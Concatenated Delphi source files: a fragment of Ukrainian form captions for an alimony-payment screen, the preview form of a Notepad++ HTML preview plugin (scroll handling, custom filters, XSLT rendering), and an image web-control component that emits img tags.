FAlimonyControl_IdentificationBox_Caption = ''; FAlimonyControl_PeopleLabel_Caption = 'Сплатник:'; FAlimonyControl_DocumentLabel_Caption = 'Документ для підстави:'; FAlimonyControl_OptionsBox_Caption = ''; FAlimonyControl_MaxPercentLabel_Caption = 'Можливий процент:'; FAlimonyControl_PercentLabel_Caption = 'Процент, що сплачуватиме:'; FAlimonyControl_PochtaPercentLabel_Caption = 'Поштовий збір (%):'; FAlimonyControl_PeriodBox_Caption = ''; FAlimonyControl_DateBegLabel_Caption = 'Початок:'; FAlimonyControl_DateEndLabel_Caption = 'Закінчення:'; FAlimonyControl_SendBox_Caption = ''; FAlimonyControl_SendPeopleLabel_Caption = 'Особа:'; FAlimonyControl_SendAdressLabel_Caption = 'Адреса:'; FAlimonyControl_DolgLabel_Caption = 'Борг:'; implementation end.
unit F_PreviewHTML; //////////////////////////////////////////////////////////////////////////////////////////////////// interface uses Windows, Messages, SysUtils, Classes, Variants, Graphics, Controls, Forms, Generics.Collections, Dialogs, StdCtrls, SHDocVw, OleCtrls, ComCtrls, ExtCtrls, IniFiles, NppPlugin, NppDockingForms, U_CustomFilter; type TBufferID = NativeInt; TfrmHTMLPreview = class(TNppDockingForm) wbIE: TWebBrowser; pnlButtons: TPanel; btnRefresh: TButton; btnClose: TButton; sbrIE: TStatusBar; pnlPreview: TPanel; pnlHTML: TPanel; btnAbout: TButton; tmrAutorefresh: TTimer; chkFreeze: TCheckBox; procedure btnRefreshClick(Sender: TObject); procedure btnCloseClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); procedure FormHide(Sender: TObject); procedure FormFloat(Sender: TObject); procedure FormDock(Sender: TObject); procedure FormShow(Sender: TObject); procedure wbIETitleChange(ASender: TObject; const Text: WideString); procedure wbIEBeforeNavigate2(ASender: TObject; const pDisp: IDispatch; const URL, Flags, TargetFrameName, PostData, Headers: OleVariant; var Cancel: WordBool); procedure wbIENewWindow3(ASender: TObject; var ppDisp: IDispatch; var Cancel: WordBool; dwFlags: Cardinal; const bstrUrlContext, bstrUrl: WideString); procedure wbIEStatusTextChange(ASender: TObject; const Text: WideString); procedure wbIEStatusBar(ASender: TObject; StatusBar: WordBool); procedure btnCloseStatusbarClick(Sender: TObject); procedure btnAboutClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure tmrAutorefreshTimer(Sender: TObject); procedure chkFreezeClick(Sender: TObject); procedure wbIEDocumentComplete(ASender: TObject; const pDisp: IDispatch; const URL: OleVariant); private { Private declarations } FBufferID: TBufferID; FScrollPositions: TDictionary<TBufferID,TPoint>; FFilterThread: TCustomFilterThread; FScrollTop: Integer; FScrollLeft: Integer; procedure SaveScrollPos; procedure RestoreScrollPos(const BufferID: TBufferID); function DetermineCustomFilter: string; function ExecuteCustomFilter(const FilterName, HTML: string; const BufferID: TBufferID): Boolean; function TransformXMLToHTML(const XML: WideString): string; procedure FilterThreadTerminate(Sender: TObject); public { Public declarations } procedure ResetTimer; procedure ForgetBuffer(const BufferID: TBufferID); procedure DisplayPreview(HTML: string; const BufferID: TBufferID); end; var frmHTMLPreview: TfrmHTMLPreview; procedure ODS(const DebugOutput: string); overload; procedure ODS(const DebugOutput: string; const Args: array of const); overload; //////////////////////////////////////////////////////////////////////////////////////////////////// implementation uses ShellAPI, ComObj, StrUtils, IOUtils, Masks, MSHTML, RegExpr, L_SpecialFolders, WebBrowser, SciSupport, U_Npp_PreviewHTML; {$R *.dfm} var OutputLog: TStreamWriter; { ------------------------------------------------------------------------------------------------ } procedure ODS(const DebugOutput: string); overload; begin OutputDebugString(PChar('PreviewHTML['+IntToHex(GetCurrentThreadId, 4)+']: ' + DebugOutput)); if OutputLog = nil then begin OutputLog := TStreamWriter.Create(TFileStream.Create(ChangeFileExt(TSpecialFolders.DLLFullName, '.log'), fmCreate or fmShareDenyWrite), TEncoding.UTF8); OutputLog.OwnStream; OutputLog.BaseStream.Seek(0, soFromEnd); end; OutputLog.Write(FormatDateTime('yyyy-MM-dd hh:nn:ss.zzz: ', Now)); OutputLog.WriteLine(DebugOutput); end {ODS}; { ------------------------------------------------------------------------------------------------ } procedure ODS(const DebugOutput: string; const Args: array of const); overload; begin ODS(Format(DebugOutput, Args)); end{ODS}; { ================================================================================================ } { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FormCreate(Sender: TObject); begin FScrollPositions := TDictionary<TBufferID,TPoint>.Create; self.NppDefaultDockingMask := DWS_DF_FLOATING; // whats the default docking position //self.KeyPreview := true; // special hack for input forms self.OnFloat := self.FormFloat; self.OnDock := self.FormDock; inherited; FBufferID := -1; with TNppPluginPreviewHTML(Npp).GetSettings() do begin tmrAutorefresh.Interval := ReadInteger('Autorefresh', 'Interval', tmrAutorefresh.Interval); Free; end; end {TfrmHTMLPreview.FormCreate}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FormDestroy(Sender: TObject); begin FreeAndNil(FScrollPositions); FreeAndNil(FFilterThread); inherited; end {TfrmHTMLPreview.FormDestroy}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.btnCloseStatusbarClick(Sender: TObject); begin sbrIE.Visible := False; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.tmrAutorefreshTimer(Sender: TObject); begin tmrAutorefresh.Enabled := False; btnRefresh.Click; end {TfrmHTMLPreview.tmrAutorefreshTimer}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.btnRefreshClick(Sender: TObject); var View: Integer; BufferID: TBufferID; hScintilla: THandle; Lexer: NativeInt; IsHTML, IsXML, IsCustom: Boolean; Size: WPARAM; Content: UTF8String; HTML: string; FilterName: string; CodePage: NativeInt; begin if chkFreeze.Checked then Exit; try tmrAutorefresh.Enabled := False; ODS('FreeAndNil(FFilterThread);'); FreeAndNil(FFilterThread); SaveScrollPos; SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETCURRENTSCINTILLA, 0, LPARAM(@View)); if View = 0 then begin hScintilla := Self.Npp.NppData.ScintillaMainHandle; end else begin hScintilla := Self.Npp.NppData.ScintillaSecondHandle; end; BufferID := SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETCURRENTBUFFERID, 0, 0); Lexer := SendMessage(hScintilla, SCI_GETLEXER, 0, 0); IsHTML := (Lexer = SCLEX_HTML); IsXML := (Lexer = SCLEX_XML); Screen.Cursor := crHourGlass; try {--- MCO 22-01-2013: determine whether the current document matches a custom filter ---} FilterName := DetermineCustomFilter; IsCustom := Length(FilterName) > 0; {$MESSAGE HINT 'TODO: Find a way to communicate why there is no preview, depending on the situation — MCO 22-01-2013'} if IsXML or IsHTML or IsCustom then begin CodePage := SendMessage(hScintilla, SCI_GETCODEPAGE, 0, 0); Size := SendMessage(hScintilla, SCI_GETTEXT, 0, 0); SetLength(Content, Size); SendMessage(hScintilla, SCI_GETTEXT, Size, LPARAM(PAnsiChar(Content))); if CodePage = CP_ACP then begin HTML := string(PAnsiChar(Content)); end else begin SetLength(HTML, Size); if Size > 0 then begin SetLength(HTML, MultiByteToWideChar(CodePage, 0, PAnsiChar(Content), Size, PWideChar(HTML), Length(HTML))); if Length(HTML) = 0 then RaiseLastOSError; end; end; end; if IsCustom then begin //MessageBox(Npp.NppData.NppHandle, PChar(Format('FilterName: %s', [FilterName])), 'PreviewHTML', MB_ICONINFORMATION); wbIEStatusTextChange(wbIE, Format('Running filter %s...', [FilterName])); if ExecuteCustomFilter(FilterName, HTML, BufferID) then begin Exit; end else begin wbIEStatusTextChange(wbIE, Format('Failed filter %s...', [FilterName])); HTML := '<pre style="color: darkred">ExecuteCustomFilter returned False</pre>'; end; end else if IsXML then begin HTML := TransformXMLToHTML(HTML); end; DisplayPreview(HTML, BufferID); finally Screen.Cursor := crDefault; end; except on E: Exception do begin ODS('btnRefreshClick ### %s: %s', [E.ClassName, StringReplace(E.Message, sLineBreak, '', [rfReplaceAll])]); sbrIE.SimpleText := E.Message; sbrIE.Visible := True; end; end; end {TfrmHTMLPreview.btnRefreshClick}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.chkFreezeClick(Sender: TObject); begin btnRefresh.Enabled := not chkFreeze.Checked; if btnRefresh.Enabled then btnRefresh.Click; end {TfrmHTMLPreview.chkFreezeClick}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.DisplayPreview(HTML: string; const BufferID: TBufferID); var IsHTML: Boolean; HeadStart: Integer; Size: WPARAM; Filename: nppString; View: Integer; hScintilla: THandle; begin ODS('DisplayPreview(HTML: "%s"(%d); BufferID: %x)', [StringReplace(Copy(HTML, 1, 10), #13#10, '', [rfReplaceAll]), Length(HTML), BufferID]); try IsHTML := Length(HTML) > 0; pnlHTML.Visible := IsHTML; sbrIE.Visible := IsHTML and (Length(sbrIE.SimpleText) > 0); if IsHTML then begin Size := SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETFULLPATHFROMBUFFERID, BufferID, LPARAM(nil)); SetLength(Filename, Size); SetLength(Filename, SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETFULLPATHFROMBUFFERID, BufferID, LPARAM(nppPChar(Filename)))); if (Pos('<base ', HTML) = 0) and FileExists(Filename) then begin HeadStart := Pos('<head>', HTML); if HeadStart > 0 then Inc(HeadStart, 6) else HeadStart := 1; Insert('<base href="' + Filename + '" />', HTML, HeadStart); end; wbIE.LoadDocFromString(HTML); if wbIE.GetDocument <> nil then self.UpdateDisplayInfo(wbIE.GetDocument.title) else self.UpdateDisplayInfo(''); {--- 2013-01-26 Martijn: the WebBrowser control has a tendency to steal the focus. We'll let the editor take it back. ---} SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETCURRENTSCINTILLA, 0, LPARAM(@View)); if View = 0 then begin hScintilla := Self.Npp.NppData.ScintillaMainHandle; end else begin hScintilla := Self.Npp.NppData.ScintillaSecondHandle; end; SendMessage(hScintilla, SCI_GRABFOCUS, 0, 0); end else begin self.UpdateDisplayInfo(''); end; if pnlHTML.Visible then begin Self.AlphaBlend := False; end else begin Self.AlphaBlend := True; Self.AlphaBlendValue := 127; end; RestoreScrollPos(BufferID); except on E: Exception do begin ODS('DisplayPreview ### %s: %s', [E.ClassName, StringReplace(E.Message, sLineBreak, '', [rfReplaceAll])]); sbrIE.SimpleText := E.Message; sbrIE.Visible := True; end; end; end {TfrmHTMLPreview.DisplayPreview}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.SaveScrollPos; var docEl: IHTMLElement2; P: TPoint; begin FScrollTop := -1; FScrollLeft := -1; if FBufferID = -1 then Exit; if Assigned(wbIE.Document) and Assigned((wbIE.Document as IHTMLDocument3).documentElement) then begin docEl := (wbIE.Document as IHTMLDocument3).documentElement AS IHTMLElement2; P.Y := docEl.scrollTop; P.X := docEl.scrollLeft; FScrollPositions.AddOrSetValue(FBufferID, P); ODS('SaveScrollPos[%x]: %dx%d', [FBufferID, P.X, P.Y]); end else begin FScrollPositions.Remove(FBufferID); ODS('SaveScrollPos[%x]: --', [FBufferID]); end; end {TfrmHTMLPreview.SaveScrollPos}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.RestoreScrollPos(const BufferID: TBufferID); var P: TPoint; docEl: IHTMLElement2; begin {--- MCO 22-01-2013: Look up this buffer's scroll position; if we know one, wait for the page to finish loading, then restore the scroll position. ---} if FScrollPositions.TryGetValue(BufferID, P) then begin FScrollTop := P.Y; FScrollLeft := P.X; ODS('RestoreScrollPos[%x]: %dx%d', [BufferID, P.X, P.Y]); if (FScrollTop <> -1) and Assigned(wbIE.Document) and Assigned((wbIE.Document as IHTMLDocument3).documentElement) then begin docEl := (wbIE.Document as IHTMLDocument3).documentElement as IHTMLElement2; docEl.scrollTop := FScrollTop; docEl.scrollLeft := FScrollLeft; ODS('RestoreScrollPos: done!'); end; end else begin ODS('RestoreScrollPos[%x]: --', [BufferID]); end; FBufferID := BufferID; end {TfrmHTMLPreview.RestoreScrollPos}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.ForgetBuffer(const BufferID: TBufferID); begin if FBufferID = BufferID then FBufferID := -1; if Assigned(FScrollPositions) then begin FScrollPositions.Remove(BufferID); end; end {TfrmHTMLPreview.ForgetBuffer}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.ResetTimer; begin tmrAutorefresh.Enabled := False; tmrAutorefresh.Enabled := True; end {TfrmHTMLPreview.ResetTimer}; { ------------------------------------------------------------------------------------------------ } function TfrmHTMLPreview.DetermineCustomFilter: string; var DocFileName: nppString; Filters: TIniFile; Names: TStringList; i: Integer; Match: Boolean; Ext, Language, DocLanguage: string; DocLangType, LangType: Integer; Extensions: TStringList; Filespec: string; begin DocFileName := StringOfChar(#0, MAX_PATH); SendMessage(Npp.NppData.NppHandle, NPPM_GETFILENAME, WPARAM(Length(DocFileName)), LPARAM(nppPChar(DocFileName))); DocFileName := nppString(nppPChar(DocFileName)); DocLangType := -1; DocLanguage := ''; ForceDirectories(Npp.ConfigDir + '\PreviewHTML'); Filters := TIniFile.Create(Npp.ConfigDir + '\PreviewHTML\Filters.ini'); Names := TStringList.Create; try Filters.ReadSections(Names); for i := 0 to Names.Count - 1 do begin {--- 2013-02-15 Martijn: empty filters should be skipped, and any filter can be disabled by putting a '-' in front of its name. ---} if (Length(Names[i]) = 0) or (Names[i][1] = '-') then Continue; Match := False; {--- Martijn 03-03-2013: Test file name ---} Filespec := Trim(Filters.ReadString(Names[i], 'Filename', '')); if (Filespec <> '') then begin // http://docwiki.embarcadero.com/Libraries/XE2/en/System.Masks.MatchesMask#Description Match := Match or MatchesMask(ExtractFileName(DocFileName), Filespec); end; {--- MCO 22-01-2013: Test extension ---} Ext := Trim(Filters.ReadString(Names[i], 'Extension', '')); if (Ext <> '') then begin Extensions := TStringList.Create; try Extensions.CaseSensitive := False; Extensions.Delimiter := ','; Extensions.DelimitedText := Ext; Match := Match or (Extensions.IndexOf(ExtractFileExt(DocFileName)) > -1); finally Extensions.Free; end; end; {--- MCO 22-01-2013: Test highlighter language ---} Language := Filters.ReadString(Names[i], 'Language', ''); if Language <> '' then begin if DocLangType = -1 then begin SendMessage(Npp.NppData.NppHandle, NPPM_GETCURRENTLANGTYPE, WPARAM(0), LPARAM(@DocLangType)); end; if DocLangType > -1 then begin if TryStrToInt(Language, LangType) and (LangType = DocLangType) then begin Match := True; end else begin if DocLanguage = '' then begin SetLength(DocLanguage, SendMessage(Npp.NppData.NppHandle, NPPM_GETLANGUAGENAME, WPARAM(DocLangType), LPARAM(nil))); SetLength(DocLanguage, SendMessage(Npp.NppData.NppHandle, NPPM_GETLANGUAGENAME, WPARAM(DocLangType), LPARAM(PChar(DocLanguage)))); end; if SameText(Language, DocLanguage) then begin Match := True; end; end; end; end; {$MESSAGE HINT 'TODO: Test lexer — MCO 22-01-2013'} if Match then Exit(Names[i]); end; finally Names.Free; Filters.Free; end; end {TfrmHTMLPreview.DetermineCustomFilter}; { ------------------------------------------------------------------------------------------------ } function TfrmHTMLPreview.ExecuteCustomFilter(const FilterName, HTML: string; const BufferID: TBufferID): Boolean; var FilterData: TFilterData; DocFile: TFileName; View: Integer; hScintilla: THandle; Filters: TIniFile; BufferEncoding: NativeInt; begin FilterData.Name := FilterName; FilterData.BufferID := BufferID; DocFile := StringOfChar(#0, MAX_PATH); SendMessage(Npp.NppData.NppHandle, NPPM_GETFULLCURRENTPATH, WPARAM(Length(DocFile)), LPARAM(PChar(DocFile))); DocFile := string(PChar(DocFile)); FilterData.DocFile := DocFile; FilterData.Contents := HTML; SendMessage(Self.Npp.NppData.NppHandle, NPPM_GETCURRENTSCINTILLA, 0, LPARAM(@View)); if View = 0 then begin hScintilla := Self.Npp.NppData.ScintillaMainHandle; end else begin hScintilla := Self.Npp.NppData.ScintillaSecondHandle; end; BufferEncoding := SendMessage(Npp.NppData.NppHandle, NPPM_GETBUFFERENCODING, BufferID, 0); case BufferEncoding of 1, 4: FilterData.Encoding := TEncoding.UTF8; 2, 6: FilterData.Encoding := TEncoding.BigEndianUnicode; 3, 7: FilterData.Encoding := TEncoding.Unicode; 5: FilterData.Encoding := TEncoding.UTF7; else FilterData.Encoding := TEncoding.ANSI; end; FilterData.UseBOM := BufferEncoding in [1, 2, 3]; FilterData.Modified := SendMessage(hScintilla, SCI_GETMODIFY, 0, 0) <> 0; Filters := TNppPluginPreviewHTML(Npp).GetSettings('Filters.ini'); try FilterData.FilterInfo := TStringList.Create; Filters.ReadSectionValues(FilterName, FilterData.FilterInfo); finally Filters.Free; end; FilterData.OnTerminate := FilterThreadTerminate; {--- 2013-01-26 Martijn: Create a new TCustomFilterThread ---} FFilterThread := TCustomFilterThread.Create(FilterData); Result := Assigned(FFilterThread); FFilterThread.WaitFor; end {TfrmHTMLPreview.ExecuteCustomFilter}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FilterThreadTerminate(Sender: TObject); begin ODS('FilterThreadTerminate'); if (Sender as TThread).FatalException is Exception then ODS('Fatal %s: "%s"', [((Sender as TThread).FatalException as Exception).ClassName, ((Sender as TThread).FatalException as Exception).Message]); FFilterThread := nil; end {TfrmHTMLPreview.FilterThreadTerminate}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.btnAboutClick(Sender: TObject); begin (npp as TNppPluginPreviewHTML).CommandShowAbout; end {TfrmHTMLPreview.btnAboutClick}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.btnCloseClick(Sender: TObject); begin self.Hide; end {TfrmHTMLPreview.btnCloseClick}; { ------------------------------------------------------------------------------------------------ } // special hack for input forms // This is the best possible hack I could came up for // memo boxes that don't process enter keys for reasons // too complicated... Has something to do with Dialog Messages // I sends a Ctrl+Enter in place of Enter procedure TfrmHTMLPreview.FormKeyPress(Sender: TObject; var Key: Char); begin // if (Key = #13) and (self.Memo1.Focused) then self.Memo1.Perform(WM_CHAR, 10, 0); end; { ------------------------------------------------------------------------------------------------ } // Docking code calls this when the form is hidden by either "x" or self.Hide procedure TfrmHTMLPreview.FormHide(Sender: TObject); begin SaveScrollPos; SendMessage(self.Npp.NppData.NppHandle, NPPM_SETMENUITEMCHECK, self.CmdID, 0); self.Visible := False; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FormDock(Sender: TObject); begin SendMessage(self.Npp.NppData.NppHandle, NPPM_SETMENUITEMCHECK, self.CmdID, 1); end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FormFloat(Sender: TObject); begin SendMessage(self.Npp.NppData.NppHandle, NPPM_SETMENUITEMCHECK, self.CmdID, 1); end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.FormShow(Sender: TObject); begin inherited; SendMessage(self.Npp.NppData.NppHandle, NPPM_SETMENUITEMCHECK, self.CmdID, 1); end; { ------------------------------------------------------------------------------------------------ } function TfrmHTMLPreview.TransformXMLToHTML(const XML: WideString): string; { - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - } function CreateDOMDocument: OleVariant; var nVersion: Integer; begin VarClear(Result); for nVersion := 7 downto 4 do begin try Result := CreateOleObject(Format('MSXML2.DOMDocument.%d.0', [nVersion])); if not VarIsClear(Result) then begin if nVersion >= 4 then begin Result.setProperty('NewParser', True); end; if nVersion >= 6 then begin Result.setProperty('AllowDocumentFunction', True); Result.setProperty('AllowXsltScript', True); Result.setProperty('ResolveExternals', True); Result.setProperty('UseInlineSchema', True); Result.setProperty('ValidateOnParse', False); end; Break; end; except VarClear(Result); end; end{for}; end {CreateDOMDocument}; { - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - } var bMethodHTML: Boolean; xDoc, xPI, xStylesheet, xOutput: OleVariant; rexHref: TRegExpr; begin Result := ''; try try {--- MCO 30-05-2012: Check to see if there's an xml-stylesheet to convert the XML to HTML. ---} xDoc := CreateDOMDocument; if VarIsClear(xDoc) then Exit; if not xDoc.LoadXML(XML) then Exit; xPI := xDoc.selectSingleNode('//processing-instruction("xml-stylesheet")'); if VarIsClear(xPI) then Exit; rexHref := TRegExpr.Create; try rexHref.ModifierI := False; rexHref.Expression := '(^|\s+)href=["'']([^"'']*?)["'']'; if not rexHref.Exec(xPI.nodeValue) then Exit; xStylesheet := CreateDOMDocument; if not xStylesheet.Load(rexHref.Match[2]) then Exit; finally rexHref.Free; end; bMethodHTML := SameText(xDoc.documentElement.nodeName, 'html'); if not bMethodHTML then begin xStylesheet.setProperty('SelectionNamespaces', 'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"'); xOutput := xStylesheet.selectSingleNode('/*/xsl:output'); if VarIsClear(xOutput) then Exit; bMethodHTML := SameStr(VarToStrDef(xOutput.getAttribute('method'), 'xml'), 'html'); end; if not bMethodHTML then Exit; Result := xDoc.transformNode(xStylesheet.documentElement); except on E: Exception do begin {--- MCO 30-05-2012: Ignore any errors; we weren't able to perform the transformation ---} Result := '<html><title>Error transforming XML to HTML</title><body><pre style="color: red">' + StringReplace(E.Message, '<', '&lt;', [rfReplaceAll]) + '</pre></body></html>'; end; end; finally VarClear(xOutput); VarClear(xStylesheet); VarClear(xPI); VarClear(xDoc); end; end {TfrmHTMLPreview.TransformXMLToHTML}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIEBeforeNavigate2(ASender: TObject; const pDisp: IDispatch; const URL, Flags, TargetFrameName, PostData, Headers: OleVariant; var Cancel: WordBool); var Handle: HWND; begin if not SameText(URL, 'about:blank') and not StartsText('javascript:', URL) then begin if Assigned(Npp) then Handle := Npp.NppData.NppHandle else Handle := 0; ShellExecute(Handle, nil, PChar(VarToStr(URL)), nil, nil, SW_SHOWDEFAULT); Cancel := True; end; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIEDocumentComplete(ASender: TObject; const pDisp: IDispatch; const URL: OleVariant); var docEl: IHTMLElement2; begin if (FScrollTop <> -1) and Assigned(wbIE.Document) and Assigned((wbIE.Document as IHTMLDocument3).documentElement) then begin docEl := (wbIE.Document as IHTMLDocument3).documentElement as IHTMLElement2; docEl.scrollTop := FScrollTop; docEl.scrollLeft := FScrollLeft; FScrollTop := -1; FScrollLeft := -1; end; end {TfrmHTMLPreview.wbIEDocumentComplete}; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIENewWindow3(ASender: TObject; var ppDisp: IDispatch; var Cancel: WordBool; dwFlags: Cardinal; const bstrUrlContext, bstrUrl: WideString); var Handle: HWND; begin if not SameText(bstrUrl, 'about:blank') and not StartsText('javascript:', bstrURL) then begin if Assigned(Npp) then Handle := Npp.NppData.NppHandle else Handle := 0; ShellExecute(Handle, nil, PChar(bstrUrl), nil, nil, SW_SHOWDEFAULT); end; Cancel := True; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIEStatusBar(ASender: TObject; StatusBar: WordBool); begin sbrIE.Visible := StatusBar; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIEStatusTextChange(ASender: TObject; const Text: WideString); begin sbrIE.SimpleText := Text; // sbrIE.Visible := Length(Text) > 0; // if sbrIE.Visible then sbrIE.Invalidate; end; { ------------------------------------------------------------------------------------------------ } procedure TfrmHTMLPreview.wbIETitleChange(ASender: TObject; const Text: WideString); begin inherited; self.UpdateDisplayInfo(StringReplace(Text, 'about:blank', '', [rfReplaceAll])); end; initialization finalization OutputLog.Free; end.
unit ThImage; interface uses Windows, Classes, Controls, StdCtrls, ExtCtrls, Graphics, Messages, SysUtils, Types, ThCssStyle, ThStyledCtrl, ThWebControl, ThPicture, ThTag, ThAnchor, ThTextPaint, ThLabel, ThAttributeList, ThStyleList, ThMessages; type TThCustomImage = class(TThWebGraphicControl) private FPicture: TThPicture; FAutoAspect: Boolean; FAnchor: TThAnchor; FBorder: Integer; FAltText: string; FHAlign: TThHAlign; FVAlign: TThVAlign; protected function GetHtmlAsString: string; override; function GetImageSrc: string; virtual; procedure SetAltText(const Value: string); procedure SetAnchor(const Value: TThAnchor); procedure SetAutoAspect(const Value: Boolean); procedure SetBorder(const Value: Integer); procedure SetHAlign(const Value: TThHAlign); procedure SetPicture(const Value: TThPicture); procedure SetVAlign(const Value: TThVAlign); protected function CalcPaintPosition(inW, inH: Integer): TPoint; function CreateAnchor: TThAnchor; virtual; function CreatePicture: TThPicture; virtual; function ShouldAutoSize: Boolean; override; procedure PerformAutoSize; override; procedure Paint; override; procedure PaintBorder; virtual; procedure PaintImage; virtual; procedure PictureChange(inSender: TObject); virtual; procedure Tag(inTag: TThTag); override; procedure ThmUpdatePicture(var inMessage); message THM_UPDATEPICTURE; protected property AltText: string read FAltText write SetAltText; property Anchor: TThAnchor read FAnchor write SetAnchor; property AutoAspect: Boolean read FAutoAspect write SetAutoAspect; property AutoSize default true; property Border: Integer read FBorder write SetBorder default 0; property HAlign: TThHAlign read FHAlign write SetHAlign default haDefault; property Picture: TThPicture read FPicture write SetPicture; property VAlign: TThVAlign read FVAlign write SetVAlign default vaDefault; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure CellTag(inTag: TThTag); override; end; // TThImage = class(TThCustomImage) published property Align; property AltText; property Anchor; property AutoAspect; property AutoSize; property Border; property HAlign; property Picture; property Style; property StyleClass; property VAlign; property Visible; end; implementation uses Math; { TThCustomImage } constructor TThCustomImage.Create(AOwner: TComponent); begin inherited; FAutoSize := true; FPicture := CreatePicture; FPicture.OnChange := PictureChange; FAnchor := CreateAnchor; FAnchor.OnChange := PictureChange; end; function TThCustomImage.CreateAnchor: TThAnchor; begin Result := TThAnchor.Create; end; function TThCustomImage.CreatePicture: TThPicture; begin Result := TThPicture.Create(Self); end; destructor TThCustomImage.Destroy; begin FAnchor.Free; FPicture.Free; inherited; end; procedure TThCustomImage.PictureChange(inSender: TObject); begin Invalidate; AdjustSize; end; procedure TThCustomImage.ThmUpdatePicture(var inMessage); begin Picture.ResolvePicturePath; Invalidate; end; procedure TThCustomImage.CellTag(inTag: TThTag); begin with inTag do begin if not AutoSize and not AutoAspect then case Align of alLeft, alClient, alRight: Add('height', '100%'); else Add('height', Height); end; case Align of alLeft, alRight: Add('width', Width); end; Add('align', ssHAlign[HAlign]); Add('valign', ssVAlign[VAlign]); Style.Font.ListStyles(Styles); Style.Padding.ListStyles(Styles); Styles.AddColor('background-color', Color); end; end; function TThCustomImage.GetImageSrc: string; begin Result := Picture.PictureUrl; end; procedure TThCustomImage.Tag(inTag: TThTag); begin inherited; with inTag do begin Element := 'img'; Add('src', GetImageSrc); if not AutoSize or AutoAspect then case Align of alTop, alBottom: ; else Add('width', AdjustedClientWidth); end; if AutoAspect then case Align of alTop, alBottom: Add('height', AdjustedClientHeight); end else if not AutoSize then Add('height', AdjustedClientHeight); if (AltText = '') then Add('alt', Name) else Add('alt', AltText); Add('border', Border); Style.Border.ListStyles(Styles); end; end; function TThCustomImage.GetHtmlAsString: string; begin Result := Anchor.Wrap(inherited GetHtmlAsString); end; procedure TThCustomImage.PaintBorder; begin if not CtrlStyle.Border.BorderVisible then begin Canvas.Pen.Color := clBlue; Canvas.Pen.Style := psDash; Canvas.Brush.Style := bsClear; Canvas.Rectangle(AdjustedClientRect); end; end; function TThCustomImage.CalcPaintPosition(inW, inH: Integer): TPoint; begin case HAlign of haCenter: Result.x := (AdjustedClientWidth - inW) div 2; haRight: Result.x := AdjustedClientWidth - inW; else Result.x := 0; end; case VAlign of vaMiddle: Result.y := (AdjustedClientHeight - inH) div 2; vaBottom: Result.y := AdjustedClientHeight - inH; else Result.y := 0; end; end; procedure TThCustomImage.PaintImage; var h: Integer; r: TRect; begin if AutoSize then with Picture do with CalcPaintPosition(Width, Height) do Canvas.Draw(x, y, Graphic) else begin h := AdjustedClientWidth * Picture.Height div Picture.Width; r := AdjustedClientRect; r.Bottom := Min(r.Bottom, h + r.Top); with CalcPaintPosition(AdjustedClientWidth, h) do Inc(r.Top, y); Canvas.StretchDraw(r, Picture.Graphic); //Canvas.StretchDraw(AdjustedClientRect, Picture.Graphic); end; end; procedure TThCustomImage.Paint; begin Painter.Prepare(Color, CtrlStyle, Canvas, Rect(0, 0, Width, Height)); Painter.PaintBackground; Painter.PaintRect := AdjustedClientRect; Painter.PaintBorders; if Picture.HasGraphic then PaintImage else PaintBorder; end; function TThCustomImage.ShouldAutoSize: Boolean; begin Result := inherited ShouldAutoSize or AutoAspect; end; procedure TThCustomImage.PerformAutoSize; var w, h: Integer; begin if (Picture.Width <> 0) and (Picture.Height <> 0) then begin if not AutoAspect and (Align in [ alLeft, alRight, alNone]) then w := Picture.Width else w := AdjustedClientWidth; if not (Align in [ alTop, alBottom, alNone]) then h := AdjustedClientHeight else if AutoAspect then h := AdjustedClientWidth * Picture.Height div Picture.Width else h := Picture.Height; SetBounds(Left, Top, w, h); end; end; procedure TThCustomImage.SetAutoAspect(const Value: Boolean); begin FAutoAspect := Value; AdjustSize; end; procedure TThCustomImage.SetPicture(const Value: TThPicture); begin FPicture.Assign(Value); Invalidate; end; procedure TThCustomImage.SetAltText(const Value: string); begin FAltText := Value; Hint := FAltText; ShowHint := true; end; procedure TThCustomImage.SetAnchor(const Value: TThAnchor); begin FAnchor.Assign(Value); Invalidate; end; procedure TThCustomImage.SetBorder(const Value: Integer); begin FBorder := Value; Invalidate; end; procedure TThCustomImage.SetHAlign(const Value: TThHAlign); begin FHAlign := Value; Invalidate; end; procedure TThCustomImage.SetVAlign(const Value: TThVAlign); begin FVAlign := Value; Invalidate; end; end.
